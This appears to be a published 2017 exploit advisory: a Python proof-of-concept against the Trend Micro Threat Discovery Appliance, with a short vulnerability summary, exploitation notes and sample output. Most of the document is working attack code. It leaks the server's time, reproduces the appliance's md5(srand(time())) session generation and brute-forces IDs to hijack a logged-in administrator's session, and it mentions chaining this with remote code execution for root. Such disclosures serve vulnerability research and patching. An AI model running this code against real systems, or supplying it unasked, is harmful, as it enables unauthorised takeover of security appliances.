Trend Micro Threat Discovery Appliance 2.6.1062r1 Session Generation Authentication Bypass
Posted on 20 April 2017
#!/usr/bin/python """ Trend Micro Threat Discovery Appliance <= 2.6.1062r1 Session Generation Authentication Bypass Vulnerability Found by: Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ & Steven Seeley of Source Incite File: TDA_InstallationCD.2.6.1062r1.en_US.iso sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 Summary: ======== There exists an authentication bypass vulnerability in the way the Trend Micro Threat Discovery Appliance generates sessions. The mechanism generates a session based on md5(srand(time())) which is obviously not random enough. This means an attacker can keep generating the same sessions each second and attempt a protected request, when an admin logs in, the code will detect a valid session. Exploitation: ============= What we do is: 1. We leak the servers date header 2. Generate a timestamp using the epoch 3. Go back by 5 minutes 4. Generate session values for each second and attempt a request 5. Fail? GOTO 4 and repeat. This will catch any last 5 minute logins as well as any future logins using the current ip address of the attacker. Once a valid session is caught, automatic exploitation of 1/10 other RCE's discovered will give us root, unauthenticated. Notes: ====== - The vulnerable code is in mini_httpd/utils.so, please see bug.png for a screenshot of the assembly - This poc code needs to run on a linux box due to the loading of libc (required since the target is linux) - This attack will only work if the attacker and the admin have the same IP address. This can occur in several situations: 1. Some sort of proxy for both the attacker and the admin 2. NAT'ed network whereby the admin and attacker share the same IP 3. A typically LAN whereby an admin logins and then disconnects and then an attacker gets the same IP assigned 4. A typical WiFi network whereby an attacker can de-auth his/her victim 5. etc Example: ======== root@kali:~# ./poc.py (+) usage: ./poc.py <target> (+) example: ./poc.py 172.16.175.123 root@kali:~# ./poc.py 172.16.175.123 (+) leaking timestamp... (+) re-winding sessions by 5 minutes... (+) started session guessing... (+) identified session: cbdcec1d35552662df5ab36decf34326 (+) attacker can now log with this session! """ import sys import time import ctypes import requests import hashlib import calendar import email.utils as eut from requests.packages.urllib3.exceptions import InsecureRequestWarning # fix the warnings... requests.packages.urllib3.disable_warnings(InsecureRequestWarning) i = 0 def get_timestamp(date): """ this function just parses the date http response header string to generate a time tuple and then a timestamp from the epoch of 1970 """ return calendar.timegm(eut.parsedate(date)) def leak_server_time(): """ this function leaks the initial date... """ r = requests.get("https://%s/" % target, verify=False) return r.headers['date'] def check_session(sessid): """ here we just valid the generated session """ r = requests.get('https://'+target+'/cgi-bin/firmware_updated.cgi', verify=False, cookies={"session_id": sessid }) if "updated" in r.text: return True else: return False def attack(timestamp): """ We take the leaked timestamp and generate a session by seeding libc's rand() and then md5 the resultant """ global i i += 1 # add an extra second timestamp += i # seeding rand() libc.srand(timestamp) # md5 the session m = hashlib.md5() # so called, rand... m.update(str(libc.rand())) # our session return m.hexdigest() def main(): """ The start of the pain train """ global target, libc # the foo sauce libc = ctypes.CDLL('libc.so.6') if len(sys.argv) != 2: print "(+) usage: %s <target>" % sys.argv[0] print "(+) example: %s 172.16.175.123" % sys.argv[0] sys.exit(-1) target = sys.argv[1] print "(+) leaking timestamp..." ts = get_timestamp(leak_server_time()) print "(+) re-winding sessions by 5 minutes..." # last 5 minutes, since a session last 6 minutes... ts = ts - (5*60) print "(+) started session guessing..." while True: attempt = attack(ts) c = check_session(attempt) if c == True: # do your evil things here, like get rce as root! print "(+) identified session: %s " % attempt print "(+) attacker can now log with this session!" break if __name__ == '__main__': main()